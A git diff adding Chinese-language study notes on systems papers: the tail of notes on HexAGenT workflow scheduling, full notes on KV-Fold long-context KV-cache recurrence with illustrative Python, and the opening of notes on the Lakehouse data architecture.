\Delta_s(c, t)}{H_w(t)} +\] + +- \(a_w\):workflow 到达时间。 +- \((t - a_w)\):已流逝时间。 +- \(\Delta_s(c, t)\):从**现在**起,若把 \(c\) 放到当前最优候选实例,预计在该阶段完成所需时间(含排队、prefill/decode 执行、KV 传输)。 + +**\(R_s\) 越大 → 越 urgent**(workflow 越接近或已超过 horizon)。HexAGenT 在 prefill/decode 两个阶段都用该信号排序。 + +### 5. Prefill–Decode 联合规划 + +P-D 分离下,一次 LLM call 的生命周期: + +``` +等待 prefill → Prefill 执行 → KV 传输 → 等待 decode 容量 → Decode 执行 → 完成 → reveal 子 call +``` + +HexAGenT 在 **prefill 调度阶段**就选定 decode instance(bootstrap),以便 prefill 完成后 KV 知道往哪搬。异构集群里,跨 GPU 代际的 KV 传输带宽更低,联合规划会惩罚「快 prefill + 慢传输 + 慢 decode」的组合。 + +### 6. Decode KV 容量约束 + +Decode 实例 \(d\) 有 KV cache 上限 \(\mathrm{Cap}(d)\)。call \(c\) 的内存需求近似: + +\[ +m(c) = L_{\mathrm{in}}(c) + \widehat{L}_{\mathrm{out}}(c) +\] + +仅当 \(m(c) \leq \mathrm{Cap}(d)\) 时可准入。Output length 用 proxy 模型预测(类似 SSJF 思路)。 + +--- + +## 系统架构(四组件) + +``` +用户 Agent 请求 + ↓ +┌─────────────────┐ +│ Workflow Front-end │ 维护在线 DAG、runnable frontier、horizon 更新 +└────────┬────────┘ + ↓ 就绪 call +┌─────────────────┐ +│ Global Scheduler │ State Collector → Estimator → Joint Planner → Plan Dispatcher +└────────┬────────┘ + ↓ 放置 + 优先级 +┌──────────────────────────────────────┐ +│ P-D Serving Cluster │ +│ Prefill Pool (A100/H100/H200...) │ +│ Decode Pool (A100/H100/H200...) │ +└────────┬─────────────────────────────┘ + ↓ + External Tools / LLM APIs +``` + +**Scheduler 内部四模块**: + +| 模块 | 职责 | +|------|------| +| **State Collector** | 收集 prefill/decode 队列、运行中 call、KV 使用率、传输状态、workflow 进度 | +| **Estimator** | Roofline 风格估计 prefill/decode/传输延迟与 decode 内存需求 | +| **Joint Planner** | 算 projected ratio,贪心选 prefill–decode 对与队列优先级 | +| **Plan Dispatcher** | 异步下发计划;已开始服务的 call 不再迁移 | + +**事件驱动重调度触发点**:workflow 到达、decode 完成 reveal 新 prefill 工作、KV 传输完成进入 decode 等待。 + +--- + +## 调度算法直觉与代码示例 + +### 示例 1:计算 projected ratio 并选最 urgent call + +下面是对论文公式 (2) 的简化 Python 示意(教学用,非论文源码): + +```python +from dataclasses import dataclass +from typing import List, Tuple + +@dataclass +class PlacementCandidate: + prefill_id: str + decode_id: str + projected_finish: float # 从 now 到 decode 完成的预计时间 + +def projected_ratio( + now: float, + arrival: float, + horizon: float, + delta: float, +) -> float: + """R_s(c,t) = ((t - a_w) + Δ_s(c,t)) / H_w(t)""" + if horizon <= 0: + return float("inf") + elapsed = now - arrival + return (elapsed + delta) / horizon + +def pick_most_urgent_prefill_call( + ready_calls: List[dict], + horizons: dict, + arrivals: dict, + enumerate_placements, + now: float, +) -> Tuple[dict, PlacementCandidate]: + """在 prefill 阶段:枚举 (prefill, decode) 对,取 R_P 最大的 call。""" + best_call, best_place, best_score = None, None, -1.0 + + for call in ready_calls: + wid = call["workflow_id"] + H = horizons[wid] + candidates = enumerate_placements(call) # 返回 List[PlacementCandidate] + best_for_call = min(candidates, key=lambda p: p.projected_finish) + score = projected_ratio( + now, arrivals[wid], H, best_for_call.projected_finish + ) + if score > best_score: + best_score = score + best_call = call + best_place = best_for_call + + return best_call, best_place +``` + +**解读**:不是「谁先到谁先 prefill」,而是「谁会让 workflow 最接近超标」谁先上;且 \(\Delta\) 里已经嵌入了**在异构实例上的预计完成时间**。 + +### 示例 2:事件驱动调度主循环(Algorithm 1 简化) + +```python +def hexagent_event_loop(event, t, state, planner_in_flight): + """ + event ∈ {workflow_arrival, prefill_done, transfer_done, decode_done} + 论文:prefill/decode 调度在 arrival、新 reveal、transfer 完成时触发。 + """ + update_queues_and_kv(state, event) + update_horizons(state, event) # H_w(t) 随 reveal 重算 + + triggered_stages = stages_to_schedule(event) # subset of {PREFILL, DECODE} + + for stage in triggered_stages: + if planner_in_flight[stage]: + apply_fallback_if_needed(state, stage) + continue + + waiting = state.waiting_calls(stage) + sim_state = state.snapshot() + plan = [] + + while waiting: + scores = [] + for call in waiting: + placement, delta = project_best_feasible(sim_state, call, stage) + R = projected_ratio( + t, + state.arrival[call.workflow_id], + state.horizon[call.workflow_id], + delta, + ) + scores.append((R, call, placement)) + + call_star = max(scores, key=lambda x: x[0]) + plan.append(call_star) + sim_state.apply(call_star[1]) # 更新模拟队列与 KV 占用 + waiting.remove(call_star[1]) + + dispatch_async(plan, stage) # 只更新仍在等待的 call +``` + +**贪心 + 模拟状态**:每选一个 call 就更新模拟集群状态,再重算剩余 call 的 urgency——避免「局部最优 prefill 实例」导致 decode 端拥塞。 + +### Prefill vs Decode 调度差异 + +| 阶段 | 优化目标 | 额外约束 | +|------|----------|----------| +| **Prefill** | 最小化 projected decode finish | 联合选 decode;考虑 KV 传输带宽 | +| **Decode** | 同样用 \(R_D\) | KV 容量 feasibility;locked vs free placement | + +- **Locked call**:prefill 阶段已绑定 decode instance,只能在该实例内重排。 +- **Free call**:可在任意可行 decode 实例间选择。 + +队列较小时用**重算贪心**;队列大时用**一次排序**控制调度开销。 + +--- + +## 实验设置与主要结果 + +### workload + +| Trace | 特点 | 规模示例 | +|-------|------|----------| +| **ShareGPT** | 顺序对话链 | 100 workflows @ 10/s | +| **BFCL-v3** | 工具调用、频繁 reveal | 400 @ 40/s | +| **LATS** | 树搜索、burst fan-out | 100 @ 40/s | +| **Mixed** | 三者混合 | 100 @ 10/s | + +模型:**Llama3.1-70B**、**Qwen3-235B-A22B**。 + +集群:**Hetero-1** = 8P+8D(每池 2×A100 + 3×H100 + 3×H200);**Hetero-2** = 10P+10D(3/4/3 配比)。 + +### 基线 + +- **SGLang-FCFS**:workflow 级 FCFS + 负载均衡 dispatch。 +- **SGLang-LLF**:workflow 级 least-laxity-first。 +- **Autellix-ATLAS**:program-aware attained-service 策略适配。 + +### Characterization 表(Req95 / Req99,越小越好) + +| Model | Trace | Per-call FCFS | Workflow-FCFS | HexAGenT | +|-------|-------|---------------|---------------|----------| +| Llama | ShareGPT | 5.85 / 7.43 | 4.50 / 6.22 | **2.50 / 2.60** | +| Llama | BFCL-v3 | 13.81 / 17.23 | 7.23 / 9.80 | **6.21 / 6.34** | +| Qwen | BFCL-v3 | 21.11 / 26.89 | 9.64 / 11.67 | **8.39 / 8.57** | +| Qwen | Mixed | 11.15 / 15.84 | 10.30 / 15.01 | **3.48 / 3.94** | + +**Mixed + Qwen** 上 HexAGenT 相对 Workflow-FCFS 的 Req95 从 10.30 降到 3.48——说明**仅靠 workflow 排序不够,异构放置是第二杠杆**。 + +### headline 汇总 + +相对最强基线,HexAGenT 使达标所需 SLO 缩放因子 \(\alpha\): + +- **95% 达标**:平均降 **20.1%**(最大 **45.0%**) +- **99% 达标**:平均降 **33.0%**(最大 **80.5%**) + +尾延迟(Req99)收益更大:workflow 级调度对「慢 Agent 链」更敏感。 + +--- + +## 实现要点 + +- **底座**:SGLang v0.5.9 P-D disaggregated serving。 +- **调度器位置**:Python gateway/router,**不在 GPU hot path**。 +- **模拟器**:~4.6K 行 Python,建模完整 call 生命周期与异步调度,用于估计 \(H_w\) 与 \(\Delta_s\)。 +- **异步规划**:求解进行中 serving 不阻塞;未分配 call 可采纳新计划,已开跑则状态以 runtime 为准。 + +--- + +## 与相关工作的关系 + +```text + 单请求 serving P-D 分离 Program-aware + │ │ │ + vLLM/SGLang DistServe/Splitwise Parrot/Hermes/Autellix + │ │ │ + └──────────────────────┴────────────────────────┘ + │ + HexAGenT 填补的交集: + 在线 DAG + 异构 P-D + workflow SLO + decode 容量 +``` + +- **Call-level SJF / slack / LTR**:改善单请求,**看不见 DAG 关键路径**。 +- **HexGen / SkyServe**:异构 LLM serving,但**非 Agent workflow 调度**。 +- **Hermes / Continuum**:向 program 级调度迈进,论文认为尚未同时处理在线 reveal + 异构 joint placement + decode KV 约束。 + +--- + +## 局限与开放问题 + +1. **Horizon 估计误差**:\(H_w(t)\) 依赖 reveal 后子图与 latency 模型;极端 tool 延迟或 output 长度预测偏差会削弱 projected ratio 的有效性(论文 Q3 讨论鲁棒性)。 +2. **调度开销 vs 质量**:异步规划若过慢,更多 call 在 fallback 策略下运行。 +3. **Scope**:聚焦 P-D 分离集群上的**调度策略**;不包含 Agent 逻辑本身(planning 算法、tool 选择)的优化。 +4. **迁移成本**:call 一旦开始 prefill/decode 即固定实例——动态抢占不在设计目标内。 + +--- + +## 给零基础读者的 takeaway + +1. **Agent serving 的基本单位是 workflow**,调度目标应是端到端 SLO,不是单次 LLM 延迟。 +2. **DAG 是在线长出来的**,调度器必须在「部分信息」下持续更新 horizon 与优先级。 +3. **P-D 分离把一个问题拆成两个队列 + 一次 KV 搬运**,必须 prefill/decode **联合**考虑。 +4. **异构 GPU 不是噪声,是调度信号**——同一 call 在不同实例上的完成时间不同,选错会拖垮整条 Agent 链。 +5. **Projected ratio** 是直观抓手:「这条 workflow 再不快就要超标了」→ 优先服务能最快把它拉回 horizon 内的 call + 放置组合。 + +--- + +## 延伸阅读 + +- **P-D 分离**:DistServe (Zhong et al.), Splitwise (Patel et al.) +- **Agent 工作负载**:ReAct, LATS, BFCL-v3 +- **Program-aware serving**:Parrot, Hermes, Autellix, Continuum +- **异构 LLM serving**:HexGen, ThunderServe, SkyServe +- **论文全文**:https://arxiv.org/abs/2605.16637 diff --git a/src/content/docs/papers/kv-fold.md b/src/content/docs/papers/kv-fold.md new file mode 100644 index 000000000..75d3726e1 --- /dev/null +++ b/src/content/docs/papers/kv-fold.md @@ -0,0 +1,356 @@ +--- +title: KV-Fold — 一步 KV 缓存递推实现长上下文推理 +来源: 'Nadali et al., "KV-Fold: One-Step KV-Cache Recurrence for Long-Context Inference", arXiv:2605.12471, 2026' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:接力读一本厚书 + +想象你要读完一本 500 页的技术手册,但规定是:**每次只能翻开连续 10 页**,读完后必须把「到目前为止的理解」写在一张便签上,下次读新的 10 页时,先读便签,再读新页,然后把新理解追加到便签末尾。 + +Transformer 做长上下文推理时,面临类似约束: + +- **理想情况**:一次性把 128K token 全部喂进模型,每个新 token 都能 attend 到全部历史——显存和算力往往撑不住(全注意力分数矩阵可以大到 TB 级)。 +- **StreamingLLM 式做法**:便签只保留最近 1024 个 token + 几个「注意力 sink」——内存 bounded,但写在第 1 页的关键数字,读到第 500 页时可能已经不在便签上了。 +- **KV-Fold 的做法**:便签就是 **KV cache**——不压缩、不丢弃,每读完一个 chunk 就把新产生的 K/V **原样拼接**进累积 cache,传给下一步。像函数式编程里的 `foldl`:同一个「一步更新」反复套用,accumulator 越滚越大,但**早期 token 的 K/V 始终还在**,后面还能通过 attention 精确找回来。 + +论文的核心发现是:这种递推 surprisingly **稳定**——相对「一次性全上下文 forward」的预测分布,误差(drift)在前几步略升,然后进入**平台期**,深度到 511 步也不继续恶化;在 needle-in-a-haystack 上,Llama-3.1-8B 在 16K–128K、深度 511 的设定下 **152/152 次精确检索成功**,单卡 40GB A100 可跑完。 + +--- + +## 是什么 + +**KV-Fold** 是一种 **training-free**(无需微调、不改架构)的长上下文**推理协议**,把预训练 Transformer 的 KV cache 当作跨 chunk 的**递推状态(recurrent state)**: + +1. 把长序列切成长度为 `C` 的 chunk:`x₀, x₁, …, x_{N-1}`,总长度 `T = N × C`。 +2. 处理 chunk `t` 时,把 chunk `0…t-1` 累积的 KV cache 当作 **prefix**,当前 chunk 的 query 可以 attend 到全部历史 K/V。 +3. forward 结束后,把 chunk `t` 新产生的 K/V **append** 到 cache,**不做 copy 变换、不压缩**,传给 chunk `t+1`。 +4. 新 token 的 **position id 从绝对位置 `t×C` 连续编号**,RoPE 与「一次性读完整序列」对齐。 + +用函数式写法,就是 left fold: + +```text +(K, V) = foldl(F_θ, (∅, ∅), [x₀, x₁, …, x_{N-1}]) +``` + +其中 `F_θ` 是标准 Transformer forward,accumulator 是不断变长的 `(K, V)` cache。 + +论文建立在 **LatentMAS** 等工作提出的「KV cache 拼接 / 跨 pass 当 prefix」原语之上,但用途从多智能体 latent 通信改成了**单模型内的长上下文分块推理**。 + +--- + +## 为什么重要 + +长上下文是 2024–2026 LLM 的主战场,但常见路线各有代价: + +| 路线 | 典型代表 | 优点 | 代价 | +|------|----------|------|------| +| 原生长窗口 | Llama 3.1 128K | 行为与训练一致 | 单次 forward 显存/算力爆炸 | +| 流式 / 滑动窗口 | StreamingLLM | 内存 bounded、快 | 窗口外 token **不可检索** | +| KV 压缩 / 驱逐 | H2O、SnapKV 等 | 省显存 | **有损**,精确召回任务易掉点 | +| 改架构 / 再训练 | RingAttention、YaRN 微调 | 可扩展 | 工程或训练成本高 | + +KV-Fold 占了一个独特位置:**不训练、不压缩、保留完整 KV 历史**,用多次「可承受的 forward」换「单次不可承受的 forward」。论文用 drift 曲线证明递推不是误差雪崩,用 NIAH 证明**任务级精确信息**可跨数百个 chunk 边界保留——说明 frozen pretrained Transformer **已经具备**这种 KV 递推能力,只是以前没人系统把它当长上下文协议来用。 + +--- + +## 核心概念 + +### 1. KV cache 不只是加速技巧 + +Decoder-only 模型自回归生成时,每层会为已见 token 缓存 Key/Value,避免重复计算。KV-Fold 把 cache 重新定义为:**模型过去计算的 structured record**,是可跨 chunk 携带的**状态**,而不只是 serving 优化。 + +### 2. 一步更新(one-step recurrence) + +每个 chunk 边界只做**一次**标准 forward + append,chunk 内部不再迭代。这与 REFORM、LESS 等「chunk 内多轮 / 压缩后再递推」不同——KV-Fold 刻意保持极简。 + +Attention 在 layer ℓ 上形如: + +```text +Q_t^(ℓ) 来自当前 chunk 的新 token +K_{0:t}^(ℓ) = [K_0^(ℓ); K_1^(ℓ); …; K_{t-1}^(ℓ); K_t^(ℓ)] // 沿序列维拼接 +V_{0:t}^(ℓ) 同理 +``` + +chunk `t-1` 的 K/V **原样**作为 prefix 进入 chunk `t`,边界处 **continuous position IDs** 至关重要。 + +### 3. Drift 与平台期(plateau) + +论文定义三种对照: + +- **full**:单次全上下文 forward 的 NLL(上界) +- **isolated**:每个 chunk 单独 forward、无 prefix(下界) +- **kv-fold**:带累积 KV prefix 的 NLL + +**Drift** = `NLL_kv-fold − NLL_full`:相对「理想全注意力」偏了多少。 +**Recurrence advantage** = `NLL_isolated − NLL_kv-fold`:递推比孤立 chunk 好多少。 + +实验(Qwen2.5-7B,T=16K,C=256):drift 在前 ~7 个 chunk 边界上升,之后 **~0.04 nats 平台期** 维持到 depth 63;advantage 全程为正。把精度从 bf16 提到 fp32(约 10000×),平台 drift 只降 **2.8%**——说明主要是**结构性** attention regime 偏移,不是舍入误差累积。 + +### 4. 与 StreamingLLM 的权衡 + +| 指标 | KV-Fold @ 128K | StreamingLLM @ 128K | +|------|----------------|------------------------| +| Peak GPU 内存 | ~35.6 GB(线性增长) | ~16.6 GB(固定 ~1024 cache) | +| NIAH 检索 | 100%(needle 可在任意深度) | 0%(needle 滑出窗口后) | +| wall-clock | ~171 s(Llama-3.1-8B) | 更快,但丢远程事实 | + +**多出来的内存买的是完整检索能力**,不是 perplexity alone。 + +### 5. Needle-in-a-haystack 协议(任务级验证) + +1. 从 PG-19 采样 16K+ token 长文作 haystack。 +2. 插入句子:`The magic number for [key] is [value].`(key 为罕见词,value 为 5 位数字)。 +3. 控制 needle 与最终问题之间的 **chain depth** `d`(chunk 边界数)。 +4. 问:`Earlier in the document, what was the magic number associated with [key]?` +5. 贪婪解码 30 token,抽取第一个 5 位数与 gold 比对。 + +KV-Fold 在 Qwen2.5-7B 上 d∈{1,15,31,62} 各 20 次 trial **80/80**;Llama-3.1-8B 扩到 T=128K、depth 511 仍 **152/152**。 + +--- + +## 代码示例 1:最小 KV-Fold 推理循环(伪代码) + +下面用接近 PyTorch / HuggingFace 的伪代码展示协议本身——**核心就是 prefix cache + 连续 position + concat**: + +```python +def kv_fold_prefill(model, token_ids: list[int], chunk_size: int = 256): + """ + 将长 prompt 按 KV-Fold 协议预填充,返回最终 past_key_values 供 decode 使用。 + token_ids: 完整长上下文 + chunk_size: 每个 chunk 的 token 数 C + """ + past_kv = None # accumulator: 各层 (K, V),初始为空 + abs_pos = 0 # 全局绝对位置,供 RoPE / position_ids + + for start in range(0, len(token_ids), chunk_size): + chunk = token_ids[start : start + chunk_size] + position_ids = list(range(abs_pos, abs_pos + len(chunk))) + + # 关键:past_key_values 作为 prefix;新 chunk 的 Q 可 attend 全部历史 K/V + outputs = model.forward( + input_ids=chunk, + position_ids=position_ids, + past_key_values=past_kv, + use_cache=True, + ) + + # 一步更新:append 本 chunk 产生的 K/V(框架通常已在 past 里 concat 好) + past_kv = outputs.past_key_values + abs_pos += len(chunk) + + return past_kv + + +def generate_after_kv_fold(model, past_kv, question_ids: list[int]): + """Haystack 读完后的短问题可以照常 autoregressive 生成。""" + return model.generate( + input_ids=question_ids, + past_key_values=past_kv, + max_new_tokens=30, + do_sample=False, # 论文 NIAH 用 greedy + ) +``` + +实现时务必确认三点: + +1. **position_ids 跨 chunk 连续**,不能每个 chunk 从 0 重计。 +2. **prefix K/V 不做额外投影或压缩**(与 LatentMAS Eq.4 一致)。 +3. 框架的 `past_key_values` 语义是「当前 forward 之前已存在的 KV」;不同版本 API 字段名可能不同(`cache_position` 等),但逻辑不变。 + +--- + +## 代码示例 2:用 `foldl` 理解递推 + 简单 drift 监控 + +第二个例子从函数式视角写递推,并演示如何像论文一样监控 **per-depth drift**(需要偶尔跑 full baseline 作对照): + +```python +from dataclasses import dataclass +from typing import Any, Callable, Iterable, Optional + +Chunk = list[int] +KVCache = Any # 每层 (key, value) 的 tuple 列表 + + +@dataclass +class FoldState: + kv: Optional[KVCache] + depth: int = 0 + + +def foldl_chunks( + chunks: Iterable[Chunk], + step_fn: Callable[[FoldState, Chunk], FoldState], + init: FoldState, +) -> FoldState: + """与论文 Eq.(2) 同构的 left fold。""" + acc = init + for x_t in chunks: + acc = step_fn(acc, x_t) + acc.depth += 1 + return acc + + +def make_step(model, nll_fn) -> Callable[[FoldState, Chunk], FoldState]: + def step(acc: FoldState, chunk: Chunk) -> FoldState: + pos = acc.depth * len(chunk) # 简化:等长 chunk;不等长时用 running offset + out = model.forward(chunk, past_key_values=acc.kv, position_offset=pos) + return FoldState(kv=out.past_key_values, depth=acc.depth) + return step + + +def per_depth_drift(model, full_ids: list[int], chunk_size: int) -> list[float]: + """ + drift(d) = NLL_kv_fold(d) - NLL_full(d) + 论文在 PG-19 上对每个 chunk 边界算 marginal NLL;这里示意结构。 + """ + chunks = [ + full_ids[i : i + chunk_size] + for i in range(0, len(full_ids), chunk_size) + ] + drifts = [] + + for d, _ in enumerate(chunks): + # full baseline:同一窗口内单次 forward(仅当 T 能放进显存时可行) + nll_full = model.nll_at_chunk_boundary(full_ids, chunk_index=d, mode="full") + + # kv-fold:只 fold 到第 d 个 chunk + state = foldl_chunks( + chunks[: d + 1], + make_step(model, None), + FoldState(kv=None, depth=0), + ) + nll_fold = model.nll_at_chunk_boundary(full_ids, chunk_index=d, past_kv=state.kv) + + drifts.append(nll_fold - nll_full) + + return drifts + + +# 预期形状(与论文 Fig.3 一致): +# drifts[:7] 可能缓慢上升 +# drifts[7:] 进入平台,总变化 ~ O(1e-4) nats 量级 +``` + +这段代码不能直接跑通所有 HF 模型(`nll_at_chunk_boundary` 需按实现补齐),但抓住了论文的**评估骨架**:不是只看最终 loss,而是看 **chain depth 上的 drift 曲线是否饱和**。 + +--- + +## 算法流程(一图胜千言) + +```text +初始: K,V = 空 + +对于 t = 0 .. N-1: + ┌─────────────────────────────────────────────┐ + │ Forward chunk x_t │ + │ · position_ids = [tC, tC+1, …, (t+1)C-1] │ + │ · prefix = (K_{0:t-1}, V_{0:t-1}) │ + │ · 计算 Q_t, attend 到 K_{0:t}, V_{0:t} │ + └─────────────────────────────────────────────┘ + │ + ▼ + Append K_t, V_t → 累积 cache + │ + ▼ + 传给 chunk t+1(无压缩) + +全部 chunk 处理完后: + 用最终 past_key_values + 短问题 prompt → generate +``` + +--- + +## 实验结果速览 + +**稳定性(Qwen2.5-7B-Instruct,T=16K,C=256)** + +- Drift 在 depth≈7 饱和,depth 15→60 总变化 −0.0003 nats。 +- Recurrence advantage 从 +0.33 到 +0.45 nats,全程为正。 +- 跨 OLMoE / Qwen2.5 / Llama-3.1 三族,**定性模式相同**。 + +**检索(Llama-3.1-8B-Instruct)** + +- T ∈ {32K, 64K, 96K, 128K},chain depth 最高 **511**。 +- **152/152** exact-match;peak memory @128K ≈ 35.6 GB / 40 GB A100。 +- 对比 StreamingLLM:needle 一旦离开 1024 token 窗口,检索 **0%**。 + +**精度消融** + +- bf16 平台 drift 0.0647 vs fp32 0.0629 nats。 +- Chunk size C ∈ {128,256,512,1024},平台 drift 变化 <9%,无单调依赖。 + +--- + +## 适用 vs 不适用 + +**适合 KV-Fold 的场景** + +- 需要在 **不改权重** 的前提下,把现有 8B 级模型推到 **64K–128K** 级 document QA、日志审计、代码库扫描。 +- 任务要求 **精确召回** 早期事实(合同条款号、magic number、CVE id),不能接受 StreamingLLM 式窗口外丢失。 +- 硬件有 **线性增长的 KV 显存预算**(例如 40GB 单卡可换 128K×8B 量级)。 +- 可以接受 **多次 forward 的 wall-clock**(128K 约 171s 量级),而非单次 ultra-fast prefill。 + +**不太适合的场景** + +- **显存硬上限** 且无法线性扩容:cache 随 T 线性增长,没有 bounded-memory 保证。 +- 需要与 **full-attention 逐 token 完全一致** 的生成分布:存在 ~0.04–0.12 nats 级 plateau drift(检索仍 100%,但 open-ended 生成可能有细微差异)。 +- 超长上下文 **远超训练 RoPE 范围** 且未做位置外推:论文刻意在 Llama 3.1 **原生 128K 内**测试,避免 OOD 因素。 +- 极低延迟在线服务:Streaming / 压缩 KV 通常更快。 + +--- + +## 与相关工作的关系 + +- **LatentMAS(KV 拼接原语)**:多 agent 之间传 KV;KV-Fold 是**单模型、单任务**的长上下文 fold。 +- **StreamingLLM**:bounded memory,牺牲远程检索;KV-Fold 反方向 trade-off。 +- **REFORM / LESS / 级联 KV**:也做 chunk + cache,但常含 **压缩、重算、跨层 embedding**;KV-Fold **拒绝压缩**。 +- **RingAttention / 序列并行**:解决单次 forward 的算力分布;KV-Fold 是 **推理协议**,可 orthogonal 组合。 + +--- + +## 局限与开放问题 + +论文自述:对 plateau 的解释是 **descriptive**,未证明 fold 动力学收敛或刻画 fixed point。 +未给出生产级开源实现(截至笔记写作时以 arXiv 2605.12471 为准)。 +Drift 存在但 NIAH 仍 100%——对 **开放式长文摘要、多跳推理** 的影响需更多 benchmark。 +Cache 线性增长 → 更长上下文(1M+)仍需与 **KV 量化、offload、稀疏 attention** 等组合。 + +--- + +## 自测题 + +1. KV-Fold 的 accumulator 是什么?与 RNN hidden state 有何异同? +2. 为什么 position id 必须跨 chunk 连续?若每个 chunk 从 0 重计会怎样? +3. 解释 drift plateau:为何不是「误差随 depth 线性累积」? +4. 在 40GB 卡上,KV-Fold vs StreamingLLM,你如何选择? +5. `foldl(F_θ, (∅,∅), chunks)` 中,若把 append 改成 top-k 驱逐,协议还叫 KV-Fold 吗? + +
+参考答案(先自己想再点开) + +1. Accumulator 是各层拼接的 KV cache;RNN hidden 固定维且通常有损压缩,KV-Fold state 随序列线性增长、保留 token 级 addressable 表示。 +2. RoPE 依赖绝对位置;重计会破坏与训练时「长序列一次编码」的位置对齐,attention 模式错位。 +3. 前几步切换到 slightly shifted attention regime 后,同一 `F_θ` 再应用不再显著改变预测;fp32 消融支持「结构性」而非纯数值累积。 +4. 要 exact retrieval / 合规审计 → KV-Fold;要 bounded memory、只关心局部上下文 → Streaming;显存介于两者之间可考虑压缩 KV 方法。 +5. 不算;KV-Fold 定义包含 **无压缩、原样 concat** 的 one-step update。 + +
+ +--- + +## 延伸阅读 + +- 论文:[arXiv:2605.12471](https://arxiv.org/abs/2605.12471)(HTML 版便于读 Fig.1–3) +- 前置原语:LatentMAS — KV cache 作为跨 pass prefix +- 对照基线:StreamingLLM(bounded cache + attention sinks) +- 评估数据:PG-19 长文、needle-in-a-haystack / RULER 类长上下文探针 + +--- + +## 一句话总结 + +**KV-Fold 把 KV cache 当成 `foldl` 的 accumulator:chunk 间原样拼接、位置连续、不训练不压缩——用线性显存和多次 forward,换 frozen Transformer 在 128K 级上下文上的稳定递推与精确远程检索。** diff --git a/src/content/docs/papers/lakehouse-2021.md b/src/content/docs/papers/lakehouse-2021.md new file mode 100644 index 000000000..f026ab653 --- /dev/null +++ b/src/content/docs/papers/lakehouse-2021.md @@ -0,0 +1,284 @@ +--- +title: Lakehouse — 用开放格式统一数据仓库与高级分析 +来源: https://www.cidrdb.org/cidr2021/papers/cidr2021_paper17.pdf +日期: 2026-06-13 +子分类: 存储与查询 +分类: 数据库 +provenance: pipeline-v3 +--- + +## 从日常类比开始:公司资料室的三次升级 + +想象一家公司的「资料管理」: + +**第一代(数据仓库)**像**精装档案室**:所有报表材料进门前必须按固定模板整理(schema-on-write),查 BI 报表很快,但扩容贵、视频/日志/图片进不来,新数据也要等 ETL 搬进来才能查。 + +**第二代(湖 + 仓两层)**像**先堆杂物间、再挑精品进档案室**:原始数据廉价丢进 S3/HDFS 的「数据湖」(schema-on-read),重要表再 ETL 到 Snowflake/Redshift。便宜是便宜了,但同一份数据要搬两次、管道多、湖和仓语义不一致,分析师常查到**过期数据**——论文引用的 Fivetran 调查显示 86% 分析师用过过时数据。 + +**第三代(Lakehouse,湖仓一体)**像**带管理员系统的开放货架**:数据仍以 Parquet/ORC 等**开放格式**躺在廉价对象存储上,任何人(SQL 引擎、Spark、TensorFlow)都能直接读文件;同时在文件之上加一层**事务元数据**(Delta Lake / Iceberg / Hudi),补上 ACID、版本、审计、索引统计——BI 和机器学习共用同一套真源,少一层 ETL。 + +这篇 CIDR 2021 论文由 Databricks 的 Michael Armbrust、Ali Ghodsi、Reynold Xin、Matei Zaharia 撰写,提出 Lakehouse 作为下一代开放数据平台架构,并在 TPC-DS 上展示可与主流云数仓竞争的性能。 + +--- + +## 是什么 + +**Lakehouse** = **Data Lake 的低成本开放存储** + **Data Warehouse 的管理能力与 SQL 性能**。 + +论文给出的三个核心特征: + +1. **开放、可直接访问的数据格式**(Apache Parquet、ORC 等),不锁在厂商私有格式里。 +2. **对机器学习 / 数据科学的一等公民支持**——大表用 DataFrame、非 SQL 代码直接读对象存储,而不是经 ODBC/JDBC 慢慢抽。 +3. **接近顶尖数仓的 SQL 性能**——通过缓存、辅助数据结构、数据布局优化,在**不改 Parquet 文件本身**的前提下加速查询。 + +--- + +## 三代数据平台演进 + +| 代际 | 代表 | 存储 | 模式 | 典型问题 | +|------|------|------|------|----------| +| 第一代 | Teradata 等本地数仓 | 专有格式 + 计算存储耦合 | schema-on-write | 扩容贵、非结构化数据难管 | +| 第二代 | S3 湖 + Redshift/Snowflake | 湖用 Parquet;仓用专有格式 | 湖 schema-on-read,仓 schema-on-write | 双 ETL、数据陈旧、ML 难接、存储双份 | +| 第三代 | Lakehouse | 对象存储 + 开放文件 + 元数据层 | 湖上叠加事务与管理 | 需在开放格式上「补」数仓能力(论文论证可行) | + +论文 Figure 1 用一张架构图概括:Lakehouse 把 BI、数据科学、机器学习报告都接到**同一套带元数据层的开放数据**上,而不是 today 常见的「湖 → 再 ETL → 仓」两段式。 + +--- + +## 为什么两层架构让人头疼 + +论文归纳当前「湖 + 仓」的四大痛点(很多是**架构意外复杂度**,而非业务本身必然如此): + +### 1. 可靠性(Reliability) + +湖和仓可能有不同的 SQL 方言、类型语义、表结构(湖宽表、仓星型模型)。多段 ETL/ELT 增加失败点和 silent bug,数据质量更难保证。 + +### 2. 数据陈旧(Data staleness) + +新数据先进湖,再批量进仓,延迟常以**天**计——比第一代「操作库 → 数仓」即时可查还退步。实时业务(推荐、客服)和人工分析都受影响。 + +### 3. 高级分析支持弱(Limited ML support) + +TensorFlow、PyTorch、XGBoost 等需要扫描大表、跑复杂非 SQL 代码。经 JDBC/ODBC 从数仓拉数据效率低;导出到文件又多一步 ETL。ML 系统读 Parquet 湖数据可以,但湖又缺 ACID、版本、索引。 + +### 4. 总拥有成本高(TCO & lock-in) + +持续 ETL 的人力 + 仓内**再存一份**数据的双倍存储 + 专有格式迁移成本。 + +**草房方案**:干脆不要湖,全放支持存算分离的云数仓——论文认为采纳有限,因为仍难管视频/音频/文本,且 ML 仍无法高效直连。 + +--- + +## 核心概念 + +### 1. 元数据层(Metadata Layer) + +对象存储(S3、ADLS、GCS)本身只有「放/取文件」,**跨文件更新一张表不是原子的**。Lakehouse 在文件之上加**事务日志**,记录「哪些 Parquet 文件属于表 version N」。 + +代表实现: + +| 系统 | 起源 | 要点 | +|------|------|------| +| **Delta Lake** | Databricks 2016+ | 事务日志也存 Parquet,可扩到单表数十亿文件;schema enforcement、time travel | +| **Apache Iceberg** | Netflix | 类似设计,支持 Parquet/ORC | +| **Apache Hudi** | Uber | 偏流式 ingest;早期并发写支持较弱 | + +关键能力:ACID 事务、time travel、零拷贝克隆(zero-copy clone)、schema 演进与约束、治理(访问控制、审计)。 + +**无痛迁移**:现有 Parquet 目录只需**加一个 transaction log 指向已有文件**,零拷贝即可变成 Delta 表——论文称这是企业快速采纳的重要原因(Delta 在 Databricks 上三年覆盖约一半计算时长)。 + +### 2. 在开放格式上做出数仓级 SQL 性能 + +Lakehouse **放弃**传统 DBMS 那种「引擎与存储格式完全耦合、对外不可见」的数据独立性——Parquet 成为**公开 API** 